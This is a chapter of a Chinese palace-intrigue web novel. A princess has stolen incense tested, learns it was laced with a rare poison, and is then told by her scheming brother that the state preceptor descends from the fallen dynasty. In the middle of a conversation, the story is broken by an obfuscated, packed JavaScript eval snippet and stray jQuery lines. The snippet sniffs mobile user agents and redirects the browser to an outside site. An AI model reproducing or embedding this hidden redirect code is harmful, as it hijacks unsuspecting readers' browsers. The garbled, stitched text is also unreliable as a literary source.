104. 庐山真面

    林蕴霏之所以临时改了主意,是因为她想到一件被她忽略的事。


    前世林彦登基后,赐了一杯毒酒给彭胜祥,就此了却这位知晓许多文惠帝秘辛的宫中老人的性命;右大监贾得全则被其擢升为左大监。


    由此可见,贾得全说不准也是站队林彦的人。


    如今这清宴殿内不知藏匿着多少虎视眈眈的人,她无法轻信谁。


    “也行,”贾得全对她的改弦易辙也不恼,“随殿下心意。”


    “还请公公退去殿外站一会儿,我有些悄悄话想要同父皇说。”林蕴霏心思百转,借口让对方离开。


    男人称好:“哎,奴才这便退却,殿下有事尽管叫奴才。”


    眼见得殿内仅剩下她一人,林蕴霏立即去三个香炉中取香。


    今日不似昨夜,林蕴霏是有备而来的。


    用铜勺将未焚尽的盘香快速地移入小木盒内,她复坐回文惠帝榻前,嘴里假做念叨了几句,走出殿外。


    “公公,”她面上演着哀愁,对贾得全说,“我先走了,你仔细盯着父皇的情况。”


    贾得全应声颔首,半躬着腰送她。


    才抵达公主府,林蕴霏就叫来了府上的大夫,将东西呈给他看:“大夫,你帮我瞧瞧这香。”


    这大夫身份来历清明,医术亦不错,更重要的是住在她府内,与宫廷权力之争无关,是可信之人。


    大夫先是嗅闻了她从清宴殿内带回的香,沉吟出其中几位香料;“这香是安神香,巧在将龙涎香、甘松香、白芷与人参调和在一起,有行气温养的效用。”


    “照你的说法,这香对人仅有益处?”林蕴霏不禁发出质疑。


    听出她话中不同寻常的暗示,大夫再次嗅闻,笃定地说:“此香没有问题。”


    怎么会?难道她的猜测又出了岔子?林蕴霏道:“你瞧瞧这袋呢?”


    顶着林蕴霏炯炯的目光,他拿起另一块研究,先用手指碾了碾,又将粉凑近鼻翼嗅闻良久。


    这下大夫脸色渐次变得凝重,仿佛难以抉择:“这……殿下且容小的再看看。”


    林蕴霏宽慰他说:“你不必心急,瞧好了再说。”


    对方点了点头,经过一番仔细的甄别,缓缓启唇:“这香粉与适才的香粉大体相同,却被加了庆雾花与荾草,庆雾花整株皆带毒,长期嗅闻庆雾花粉甚至也会影响人的康健。而庆雾花与荾草两者相恶,毒性愈发强烈。”


    听见“毒”字,林蕴霏心下一颤。


    好半晌才寻回思绪,她一字一顿地追问:“除此之外,这两种香是完全一样的吗?”


    “是的。”大夫瞧见她的冷脸,将原本打算问她从何得到此香的话咽了回去。


    “殿下,老夫有几句话不得不提,这庆雾花产自千叶国,是极为稀缺之物。它虽有快速镇静止疼的奇效,但需要经过重重醋炮制才能弱化毒性,因此只在宫廷内的太医署得见。”


    “老夫从医数十年,除了在药典上见过庆雾花,这还是头一次看见实物,是以也拿不准……”大夫的声音越来越低,可见迟疑。


    意识到自己的失态吓着了人,林蕴霏垂眸遮挡其中冷锋:“好,我心中有数了。你下去歇息吧,切记不要将今日见闻对外声张。”


    大夫道省得,随楹玉离开去领赏钱。


    屋内恢复阒静,林蕴霏单手抵着额头,思忖起此事现有的线索。


    所以说,淑妃就是调制了掺杂毒物的香,并且有很大可能已用在文惠帝身上,致使他毒发昏倒。


    大约是事成之后淑妃为避风头,于是换回无毒的香。


    一位宫外的大夫尚能查出此香不对劲,宫中的那群太医为何遮遮掩掩,无有一人道出实情。


    答案只有一个,以柳院使为首的太医署,恐皆已被林彦收买或是胁迫。


    事情虽说有了眉目,可一来她得到物证的手段并不磊落,二来太医署无法配合她的说辞,林蕴霏依然走入山穷水尽之处。


    还有其他的突破口吗?林蕴霏迫使自己沉下心来。


    宫内掌管香药的地方拢共有三处,一处是负责调香与分发的内务府,一处是储存中药原材的太医署药库,另一处是逐渐与内务府分责的尚食局,其下有女官司药。


    而香药与中药材又是由外朝的户部每年负责采买的。


    追本溯源,像庆雾花这样具有毒性的药材,除了太医有权使用,旁人一般是无法得到的。


    淑妃是如何拿到庆雾花的,不外乎两种可能。


    一是太医署内的人偷偷交予她的;二是原材从皇宫外流进,譬如说由能够在宫内外行走的林彦带入,但大昭素来对有毒的药材管控严格,民间明令禁止流通毒药,那么林彦只有可能是暗度陈仓。


    太医署这边尚且无法排查,她能切入的只有江瑾淞所在的户部。


    “殿下,”办事归来的楹玉轻叩门,“奴婢进来了。”


    “进来吧,我正好有事情要交代你。”一念及此,林蕴霏来到桌案坐下,提笔在纸上写明意图。


    将折好的信笺递给楹玉,林蕴霏道:“找人将这信送去江府,今日休沐,务必把信送到江大人手上。”


    *


    翌日文惠帝还是没有苏醒的迹象,被迫在府中空等的朝臣们终于坐不住了。


    尽管宫中有意将消息封锁,但抵不过人言随秋风兴起,众人纷纷猜测文惠帝此次怕是捱不过去了。


    三省六部,大小官吏,三教九流,渔樵耕读,大昭的角角落落都不会因为帝王昏倒而停止周转。


    众人需要出入作息,自然就会产生事务。事务日新月异,纷至沓来,堆积在案台上,容不得耽搁太久。


    国君因病不得上朝,按说该由储君代掌君权以监国,然而文惠帝未有立下太子,只得另论。


    大昭未设宰相一职,六部的尚书分掌宰相之权,均为帝王之下的第一人。在没有储君的情况下,便该由他们统领百官处理事务。


    特殊时期只能特殊处理,六位尚书齐齐穿戴整齐,在百尺街的六部衙门碰面,决议依照轻重缓急共理朝务,使得朝廷维系正常运作,直至文惠帝醒来。


    除了被打入冷宫的六皇子,其余皇子均进宫伴君左右,三皇子林彦的禁闭亦被解除。


    林蕴霏入宫径直去清宴殿,好巧不巧遇上才从其中出来的林彦。


    “嘉和。”对方较之半月前清瘦了不少,周身的阴郁则加重了不少。


    听着他唇齿间倾轧出自己的称号,林蕴霏有些犯恶心,但她面上并不会露怯。


    事实上这几日林蕴霏越是接近真相,就越清楚林彦迟早会被报应倾覆,她无需畏惧对方:“数日不见,皇兄风采依旧。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927175|137871||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    林彦好似无有听出她夸奖中暗藏的讥讽,顺着她的话道:“皇妹谬赞。”


    “皇兄可是已经见过父皇了?他如今怎样?”林蕴霏实在没兴趣与他多聊,转移话锋道。


    “父皇还是没醒,柳院使及太医正在重新商榷治疗的法子,”林彦煞有介事地感叹,“父皇此次病来如山倒,真是叫人揪心。”


    林蕴霏不欲搭理他那虚伪至极的装腔,道:“我去瞧瞧。”


    “嘉和,你又非大夫,进去亦是枉然旁观。”林彦用横出的胳膊拦住了她。


    林蕴霏避无可避地对上他深邃的乌眸,问:“皇兄这是何意?”


    “我有一些话想同你讲,劳驾你移步。”


    “这句话听起来格外耳熟,”林蕴霏淡淡地开口,“我以为我在云州时便将话说得很明白。”


    林彦半眯起一只眼:“皇妹怕是误会了,我没有将旧话重提的习惯。”


    “今日我想与你谈的事,与国师谢呈有关,”他将尾音拖得很长,像是有着万千钩子,“这下皇妹总该有兴趣听我细说了吧。”


    林蕴霏确实咬上了他的钩,随林彦走至僻静之处。


    望着对方透着一股洋洋得意的背影,林蕴霏懊恼地咬着牙关。


    再怎么说,谢呈也算是她的盟友,她不该对与他相关的事置之不理。


    林蕴霏这般说服自己。


    但转瞬她就自暴自弃地想,也罢,哪里有那么多冠冕堂皇的理由。


    她其实就是放不下谢呈。


    滞后地反应过来林彦还在将自己往小径引,林蕴霏警觉地停步:“就在这儿说吧。”


    瞥见她犹似豹子般机敏的明眸,林彦深感好笑地摊手,以示清白:“嘉和,你不必紧张,我既选择与你在宫中谈及此事,便已将满满诚意摆到你面前。”


    林蕴霏直直地望进他的笑眼,言简意赅地说:“皇兄不若开门见山。”


    “嘉和,别着急啊。”林彦仿佛是一位孜孜不倦教诲小妹的兄长,这副姿态能够骗得过他人,却只会叫林蕴霏觉得毛骨悚然。


    林蕴霏不语,转身欲走,用行动告诉林彦自己的不耐。


    纵使他手中掌握着她感兴趣的消息,并不代表她就会被他牵着鼻子走。


    “皇妹作为谢呈的身边人,”不出意料,林彦语气稍急地说,“是否知晓谢呈的真实身份?”


    回眸沉默地看着他,林蕴霏等他继续往下说。


    与镇定面容截然不同的是,她在听见林彦意味深长的问话后,心跳如擂鼓。


    林彦紧盯着她的神情,道出话时心中升起莫名的畅快:“我瞧皇妹应当是不知情吧……”


    即便林彦没有明说,可林蕴霏听出了他的嘲讽,嘲讽她与谢呈看似情深,实则连互相坦诚都做不到。


    被实打实地戳到了痛处,林蕴霏的呼吸一窒。


    林蕴霏自以为能消化这份伤痛,不想林彦的一句话霍然将她心口的伤疤撕扯开,极端的痛意衬得她这段时日的若无其事都成了天大的笑话。


    更为要命的是,她尚未听全谢呈所谓的真实身份。


    直觉告诉林蕴霏,林彦接下来的话会颠覆她的认知。


    “大昭国师谢呈,深得帝王信任,受万民景仰,”林彦意味不明地笑了笑,说,“谁又能想到这样冰雪高洁的人物竟会是前朝余孤?”